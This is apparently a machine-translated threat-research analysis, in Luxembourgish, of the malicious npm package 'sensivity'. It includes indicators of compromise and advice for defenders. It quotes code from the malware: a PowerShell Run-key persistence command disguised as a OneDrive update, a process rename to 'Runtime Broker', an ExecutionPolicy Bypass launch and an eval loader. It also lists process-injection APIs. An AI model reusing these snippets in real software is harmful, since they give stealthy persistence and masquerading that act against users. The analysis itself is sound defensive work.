TL; DR
Den npm-Package Sensibilitéit beschreift sech selwer als e "Sensibilitéitskontrollpanel". Op Windows verhält et sech wéi e Fernbedienungs- an Iwwerwaachungsinstrument.
Säin Entréepunkt, launcher.js, ëmbenennt säin eegene Prozess a Runtime Broker, schreift en Autostart-Run-key-Wäert mam Numm OneDriveUpdate dat de Pak iwwer e verstoppte VBScript nei start, generéiert PowerShell mat -ExecutionPolicy Bypass, an dann evaluéiert eng 171 KB verschleiert Server-Payload niewent engem 6.87 MB nativen Modul, sens.node.
Et déngt zu engem Kontrollpanel fir Telefonskopplung um TCP-Port 3000 a liest d'URL an der Adressbar vum aktive Browser iwwer Windows UIAutomation, wouduerch et no engem fest kodéierte YouTube-Video kuckt.
Zwee Deeler, déi virdru als schwaarz Këschte gelies goufen, sinn elo geléist. De verschleierte Server, server.obf.js, benotzt en obfuscator.io RC4 String-Array-Schema; wann säin Decoder offline nei implementéiert gëtt (kee JavaScript ausgeführt) gëtt en eenzegen externen Endpunkt erëm hiergestallt — https://izopi.com/check.php — zesumme mat engem agebauten ëffentleche RSA-Schlëssel, deen benotzt gëtt fir ënnerschriwwen Lizenzäntwerten ze verifizéieren.
Den nativen Modul, sens.node, ass net gepackt: seng Importtabell an agebette Strings identifizéieren et als en DirectX 11 / Dear ImGui In-Game Overlay, deen Aimbot-, ESP (Wall-Hack)- a Triggerbot-Funktiounen ubitt, déi duerch Remote-Processinjektioun a Lies-/Schreiwprozesser vum Speicher ugedriwwe ginn.
Strings dran bezéie sech op Gefierentitéiten a Kaartepositiounen, déi am Aklang mat GTA V / FiveM sinn. Den npm-Package ass de Wrapper fir d'Liwwerung an d'Persistenz ronderëm dee nativen Modul.
Dat definéierend Signal ass operationell, net technesch: een eenzegen anonyme Verlag huet ongeféier siwwenzeg Versioune vun engem Pak erausbruecht - 2.5.0 bis 2.5.69 — iwwer e puer Deeg, all mat dem selwechte Startrakett.
Et gëtt keng Installatiounen hooksD'Notzuel leeft nëmme wann de Pak gestart gëtt.
Den Ugrëff: Wéi et funktionéiert
sensivity verschéckt zéng Dateien. De package.json ass spars: kee Repository-Feld, keng Lizenz, en Haapt- an zwee Bin-Aliasen (sensivity, sens), déi all op launcher.js weisen, an e Startskript vum Node launcher.js. Et gëtt keng Postinstallatioun oder Preinstallatioun. Näischt gëtt bei der npm-Installatioun ausgeléist. D'Verhale gëtt hei ënnendrënner beschriwwen, wann e Benotzer de Package start - iwwer de Bin-Shim, de Startskript oder eng Requirement.
Den Tarball enthält de Launcher, en obfuskéierte Server, den nativen Modul, e Visual Basic Skript an en public/Web-Verzeichnis fir de Kontrollpanel. launcher.js ass den liesbaren Orchestrator; d'Logik, déi beim Lafzäitprozess wichteg ass, läit an den zwéi Blobs, déi e lued - en obfuskéierte Server an e kompiliéierten nativen Modul, béid hei ënnendrënner opgeklärt.
Prozessmaskerade an e gefälschte OneDrive-Update
Ufanks an der Ausféierung setzt launcher.js säin eegene Prozessnumm zweemol:
javascript process.title = 'Runtime Broker'; Runtime Broker ass e legitime Windows-Prozess (RuntimeBroker.exe), deen App-Rechter vermëttelt. Wann een en Node-Prozess ëmbenennt, fir datt en domat iwwereneestëmmt, weist e kuerze Bléck am Task Manager näischt Ongewéinleches.
Persistence gëtt iwwer PowerShell geschriwwen anstatt iwwer eng direkt Registry API:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); De Wäert vum Autostart heescht OneDriveUpdate a weist net direkt op de Pak. E weist op wscript.exe, wou den integréierte OneDrive.Standalone.Updater.vbs ausgeführt gëtt. Dëse Skript start node launcher.js an engem verstoppte Fënster nei. Souwuel den Numm vun der Run-Taste wéi och den Numm vun der VBScript-Datei iwwerhuelen d'Microsoft-Branding, sou datt den Autostart-Eintrag sech wéi eng Routine-OneDrive-Aufgab liest.
PowerShell mat Ausféierungsrichtlinn-Bypass
De Launcher setzt ëmmer erëm op PowerShell. De Sink, deen de Scanner als kritesch markéiert, ass de Start vun enger generéierter .ps1 mat der Ausféierungspolitik deaktivéiert:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass läscht déi lokal Skript-Ënnerschrëftskontroll fir dësen Opruff. Déi generéiert Skripter handhaben d'Browser-Iwwerwaachung an d'Fënsterdetektiounsaarbecht, déi an der nächster Sektioun beschriwwe ginn.
Den obfuskéierte Server an den nativen Modul
Nom Setup lued launcher.js seng richteg Notzlaascht a féiert se aus:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js ass 171 KB vun _0x-array Obfuscation - dem JavaScript-Muster, wou all String an Identifizéierer duerch en Index an engem gemëschten Array ersat ginn, an dann zur Lafzäit entreferenzéiert ginn. De Schema ass d'RC4-Variant, déi vun obfuscator.io produzéiert gouf: eng eenzeg Decoderfunktioun base64-decodéiert en Array-Eintrag an RC4-decodéiert en dann mat engem Per-Call-Schlëssel. Wann dësen Decoder an engem separaten Skript nei implementéiert gëtt - nëmmen d'Nei-Implementatioun iwwer den extrahéierten 821-Eintrags-String-Array ausgefouert gëtt, ni iwwer den eegene JavaScript vum Pak - gëtt en propper ofgewéckelt. Wat opdaucht ass bescheiden, awer decisive: eng extern URL, https://izopi.com/check.php`, déi enger LICENSE_URL Konstant zougewisen ass; eng agebette RSA PUBLIC_KEY_PEM`; de lokale Panel routéiert /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, an /trigger/status; an d'Zeechen child_process, crypto, an [Sensivity] sens.node gelueden - déi lescht ass déi exakt Logzeil, déi de Launcher nei schreift, fir de Programmmodul gelueden ze ginn. Den Endpunkt ass eng Lizenzprüfung: de Client post en Identifizéierer (de verschleierte Server formatéiert eng Discord ID: %s Zeechekette) an den RSA Schlëssel verifizéiert d'ënnerschriwwen Äntwert vum Server.
sens.node ass en 6.87 MB kompiliéierten nativen Add-on, an et ass net gepackt - d'Sektiounsentropie läit bei 5.6–6.6 an d'PE Import- an Exporttabellen sinn intakt, sou datt seng Fäegkeeten direkt liesbar sinn. Et exportéiert napi_register_module_v1, den standard Node N-API Entréepunkt, sou datt de bewäertte Server en mat enger einfacher Ufuerderung lued. Seng Importtabell ass den Tell. Vun KERNEL32 zitt et OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, a Process32First/NextW - de kanonesche Set fir en anere Prozess ze lokaliséieren, Speicher dran ze allokéieren an dee Speicher ze liesen oder ze schreiwen. Vun USER32 zitt et GetAsyncKeyState, GetKeyState, mouse_event, a SetCursorPos; et verbënnt d3d11.dll, D3DCOMPILER_43, an dwmapi fir en On-Screen Overlay, an de komplette WINHTTP Set fir Netzwierkuriff. Seng agebette Strings nennen de Feature-Set ouni Zweiwel: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, an de Dear ImGui Banner Dear ImGui 1.91.3 WIP. Standuert- an Entitéits-Strings wéi Grapeseed Medical Clinic an de Vokabulär vun der Vehicle-ESP sinn am Aklang mat GTA V / FiveM.
D'Opdeelung ass effektiv bewosst: de liesbare launcher.js enthält nëmmen déi Deeler, déi e Scanner einfach liest - Persistenz, Masquerade, den Eval-Uruff selwer - während d'Obfuskatioun den eenzegen externen Host, d'Runtime-Kontakter, verstoppt, an de Binärdatei d'Spill-Overlay an d'Prozessinjektiounslogik enthält. De Launcher ass déi dënn, audiéierbar Shell; de verschleierte Server verstoppt d'Netzwierkidentitéit; den native Modul ass d'Payload. Mir beschreiwen d'Importen an d'Strings vum Binärdatei als gelies; mir schléissen den Zweck vum Operator net doraus of.
E Kontrollpanel fir Telefonskopplung um Port 3000
De Launcher verwalt e lokale Webserver um TCP-Port 3000 a behandelt en als Singleton. E freet no engem existente Listener of a läscht en ier en bindt:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); De Panel ass ënner http://localhost:3000 z'erreechen, mat enger fest kodéierter LAN-Fallback-URL vun http://192.168.1.16:3000. Den public/-Verzeichnis an d'Verhale vum Panel entspriechen engem QR-Pairing-Flow: en Telefon scannt e Code a verbënnt sech mam Host als Fernbedienung. Am Launcher gëtt et keen externen Kommando- a Kontrolldomän am Kloertext - awer, wéi d'Deobfuskatioun uewen weist, ass een am obfuskéierte Server präsent: dem izopi.com Lizenz-Endpoint. De Panel selwer ass lokal a LAN-beschloss; den eenzegen Outbound-Host ass dee Lizenzcheck.
E separatiséiert Supervisor/Worker-Modell hält de Prozess um Liewen. De Launcher erstellt sech selwer mat SENSIVITY_SUPERVISOR- a SENSIVITY_WORKER-Ëmfeldflaggen, woubäi all Kand verstoppt leeft, sou datt wann ee Prozess ofgeschaaft gëtt, e Watchdog en nei starten muss.
Browseriwwerwaachung an de YouTube Signal
Déi spezifeschst Method ass d'Browser-Iwwerwaachung. launcher.js baut PowerShell op, déi Windows UIAutomation sou ubitt, datt en d'Adressbar vun engem lafende Browser liest:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern gëtt den Textinhalt vun engem UI-Element zréck. Wann et op d'Adressbar-Edit-Kontroll vun engem Browser ugewannt gëtt, gëtt d'URL zréck, déi d'Affer aktuell kuckt - ouni eng Browser-Erweiderung, ouni de Profil op der Festplack ze beréieren an ouni en API-Hook. De generéierte Skript iteréiert eng $browserNames Lëscht an extrahéiert d'URL oder den Fënstertitel vun deem Browser, deen am Virdergrond steet.
Déi URL gëtt géint een eenzegt fest kodéiert Zil getest:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; De Launcher kontrolléiert an enger dräisekonnen-laanger Schleif e Browserfenster, dat YouTube weist, an de generéierte PowerShell enthält e Get-YouTubeBrowser / Test-TargetYouTubeUrl-Paar, dat mat där Video-ID iwwereneestëmmt. Den observéierbaren Effekt ass zweifach: déi aktiv Browser-URL gëtt vum Bildschierm vum Affer gelies, an d'Interaktioun vum Host mat engem spezifesche YouTube-Video gëtt detektéiert. Mir beschreiwen de Mechanismus an d'Zil; mir schléissen kee Motiv doraus of.
D'Adressbar-Liesung ass dat, wat de Scanner als sensitive_data_enumeration bezeechent - eng Process::env- a UIAutomation-Quell, déi eng netzwierkfäeg Lafzäit fiddert. Si gesäit isoléiert harmlos aus a gëtt eréischt op Iwwerwaachung iwwerdroen, wann den Datenliewenszyklus vun der UIAutomation-Quell bis zum verschleierte Server verfollegt gëtt.
Zäitlinn an Versiounsentwécklung
Sensibilitéit ass keen eenzegen Upload. De Publisher-Kont huet ongeféier siwwenzeg publizéiert Versioune vun dësem eenzege Pak, an et koumen ëmmer nei Versiounen während der Iwwerpréiwungszäit. De Launcher wiisst Feature fir Feature iwwer d'2.5.x Linn, während seng Persistenz a Payload-Luede fix bleiwen.
| Datum (UTC) | Versiounen observéiert | Launcher-Status |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Basis QR-Panel Launcher; Persistenz vu Run-Tasten; Evaluatioun vum verschleierte Server. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Deeselwechte Fangerofdrock; Ënnerdréckung vun der Konsolespur. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Füügt festgehalen YouTube-Engagementziel bäi wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Lücken ausfëllen, nei publizéieren am ganze Sortiment; Supervisor/Aarbechteriwwerwaachungsorgan. |
Wann een de Launcher iwwer déi erofgeluede Vertrieder - 2.5.0, 2.5.36 an 2.5.69 - liest, ginn et véier Stufen. Déi fréist Versioune benotzen de Basis-QR-Pairing-Launcher. Vum 2.5.33 un erschéngt den UIAutomation Adressbar-Harvester. Vum 2.5.58 un gëtt eng Supervisor-Management-Schicht derbäigesat. Vum 2.5.64 un mécht den detachéierten Supervisor/Worker-Watchdog de ganze Set komplett. Duerch d'ganz Versioun änneren sech véier Saachen ni: de OneDriveUpdate Run-Schlëssel, den OneDrive.Standalone.Updater.vbs-Dropper, den eval'd server.obf.js an den native Modul sens.node.
D'Well vum 2026-06-05 ass bemierkenswäert, well se déi niddreg Versiounsnummeren - 2.5.0 bis 2.5.15 - nei publizéiert huet, déi ënner de Versioune leien, déi Deeg virdrun bestätegt goufen. Den Effekt ass eng zesummehängend 2.5.x Zeil an der Registrierung, wou all Versioun dee selwechte Launcher huet.
Indikatoren fir e Kompromëss
All Indikatoren hei ënnendrënner goufen direkt aus dem Pak Tarball gelies. De liesbare Launcher huet nëmmen e Loopback an eng eenzeg privat LAN-Adress; den eenzegen externen Hostnumm, izopi.com, gouf duerch d'Deobfuscatioun vu server.obf.js offline erëmfonnt.
| Type | Luucht | Notes |
|---|---|---|
| Pak | npm:sensivity (≈70 Versiounen, 2.5.0-2.5.69) | Eenzelpackage-Verlag; kee Repository; net lizenzéiert. |
| Fichier | launcher.js | Liesbaren Orchestrator; Haapt- an Bin-Zil. |
| Fichier | server.obf.js (≈171 KB) | obfuscator.io RC4 String-Array-Notzlaascht, gelueden iwwer eval(fs.readFileSync(...)). |
| Fichier | sens.node (≈6.87 MB) | PE32+ x86-64 Node N-API Add-on; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| Fichier | OneDrive.Standalone.Updater.vbs | Verstoppte Relauncher (node launcher.js). |
| Network | https://izopi.com/check.php | Lizenz-/Authentifikatiouns-Endpunkt vum verschleierte Server erëmgewonne; agebetteten RSA-ëffentleche Schlëssel verifizéiert d'Äntwerten. |
| Kapazitéit | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Remote-Prozessinjektioun a Lies-/Schreiwfäegkeet fir de Speicher. |
| Kapazitéit | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui Spill-Overlay implementéiert Aimbot-, ESP- a Triggerbot-Funktiounen. |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Autostart-Wäert weist op wscript.exe an de VBScript Launcher. |
| Prozess | process.title = 'Runtime Broker' | Maskéiert sech als de legitime Windows Runtime Broker Prozess. |
| Verhalen | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Ausféierungsrichtlinn-Bypass gëtt fir generéiert PowerShell-Skripter benotzt. |
| Verhalen | UIAutomation ValuePattern d'Adressbar vum Browser liesen | Liest d'URL vum Browserfenster am Virdergrond. |
| Verhalen | Zilvideo-ID wJWta2lO0Lw3-Sekonnen YouTube-Ëmfro | Gepinnt Engagement-Iwwerwaachungssignal. |
| Network | http://localhost:3000, Alternativ http://192.168.1.16:3000 | QR-Pairing-Kontrollpanel lokal an um LAN verfügbar. |
| Emwelt | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Ofgetrennt Koordinatiounsflaggen fir Watchdog-Prozess. |
Attributioun, Impakt a Verdeedeger
De Pak gëtt vun engem eenzegen npm-Kont publizéiert, deem seng uginn E-Mail-Adress eng net verifizéiert Gmail-Adress ass. De Kont huet e staark negativen Registry-Reputatiouns-Score, bedreift a publizéiert nëmmen dëse Pak, an huet kee verlinkte Quellcode-Repository. Mir hunn d'Besëtzerrechter vun der E-Mail net verifizéiert a mir schreiwen d'Kampagne dem Publisher-Kont zou, net enger genannter Persoun. De Launcher huet keng Klartext-Infrastruktur, awer deen eenzegen externen Host ass elo bekannt: de verschleierte Server kontaktéiert izopi.com fir eng Lizenzprüfung, an den nativen Modul - gelies aus senger Importtabell a Strings anstatt Instruktioun-fir-Instruktioun ëmgedréint - ass en Spill-Overlay, deen an de Späicher vun engem anere Prozess injizéiert a liest.
Den observéierbaren Impakt trëfft Windows Benotzer, déi Sensivity installéieren an ausféieren, well se en Utility am Kontrollpanel erwaarden. Op dësen Hoster etabléiert de Package eng Autostart-Persistenz, déi als OneDrive-Aufgab verstoppt ass, nennt sech ëm, fir e Systemprozess ze imitéieren, liest d'URL vun deem, wat de Benotzer sicht, an erstellt e Pairing-Panel, deen de Computer iwwer dat lokalt Netzwierk mat engem Fernbedienungsgerät verbënnt. De Supervisor/Worker-Watchdog bedeit, datt en eenzege Prozesskill en net läscht; den Run-Taste-Eintrag iwwerlieft Restarts. macOS a Linux sinn net vum Launcher gezielt - d'Persistenz-, PowerShell- an UIAutomation-Pfade sinn nëmme fir Windows.
De Churn vu siwwenzeg Versiounen ass den Trend, deen et wäert ass ze melden. Wann ee Pak Dutzende Mol an e puer Deeg nei publizéiert gëtt, inklusiv d'Versiounsnummeren ënner deenen, déi scho ewechgeholl goufen, zréckzefëllen, bleift eng Live-Kopie am Registry tëscht de Läschungen a frustréiert Versiounsgepinnte Blocklëschten. En Blocklëschten-Eintrag fir sensivity@2.5.61 mécht näischt géint sensivity@2.5.3, deen den nächsten Dag nei publizéiert gëtt.
Verdeedeger kënnen op folgend Manéier handelen:
- Blockéiert d'Sensibilitéit vum Paknumm direkt an de Registry-Proxy- an CI-Erlaabnislëschten. D'Pinnen vun eenzelne Versioune verléiert dem Republizéierungstakt; den Numm ass den dauerhaften Indikator.
- Sicht no engem Run-Wäert mam Numm OneDriveUpdate, deem seng Donnéeën wscript.exe géint eng .vbs an engem Benotzerfrëndleche Wee opruffen. Den echten OneDrive-Updater ass net op dës Manéier registréiert.
- Alarm iwwer en Node.js Prozess, deem säi process.title Runtime Broker ass. De richtege Broker ass RuntimeBroker.exe, keen Node Runtime.
- Markéiert npm-Installatiounszäit-Ofruff vu Paketen, déi en kompiliéierten .node-Add-on plus en eval(fs.readFileSync(…)) vun enger geschwëster .obf.js-Datei liwweren. Dës Pairing - en opaken nativen Binärdatei, deen nieft enger verschleierter Text-Payload gelueden ass - ass hei den strukturellen Tell, onofhängeg vun all String-IOC.
- Behandelt all lokal gebonnenen Listener um Port 3000, deen vun engem onerwaarten Node-Prozess entstanen ass, als verdächteg op verwalteten Windows-Endpunkten.
- Blockéiert oder alarméiert erausgehend Ufroen un izopi.com vun Entwéckler oder Endbenutzer-Hosten; et ass den eenzegen externen Endpunkt vum Package, deen iwwer /check.php vum verschleierte Server erreecht gëtt.
- Fir all gebündelt .node Add-on, kontrolléiert seng Importtabell ier Dir him vertraut. D'Kombinatioun OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread ass eng Remote-Processinjektioun, egal wat de Pak behaapt ze maachen; hei läit et nieft engem Direct3D Overlay an aimbot/ESP/triggerbot Strings.
Fir statesch Analyse pipelines, d'Konviktiounsform ass haltbar iwwer de ganze Versiounswiessel: en net-netzwëschegen Installatiounsprofil, eng Prozesstitelzouweisung un en bekannte Systemprozessnumm, eng Run-Taste-Schreiwe iwwer PowerShell, an eng Evaluatioun vun enger Datei, déi vum Festplack gelies gëtt. Keng vun dësen hänkt vun enger Domain, enger IP oder enger Versiounsnummer of, déi déi nächst Neipublikatioun ewech rotéiere kann.
Referenze
[npm: Sensibilitéit] – Registrierungssäit fir d'Packageversiounszeil, déi hei diskutéiert gëtt; kann ewechgeholl ginn.





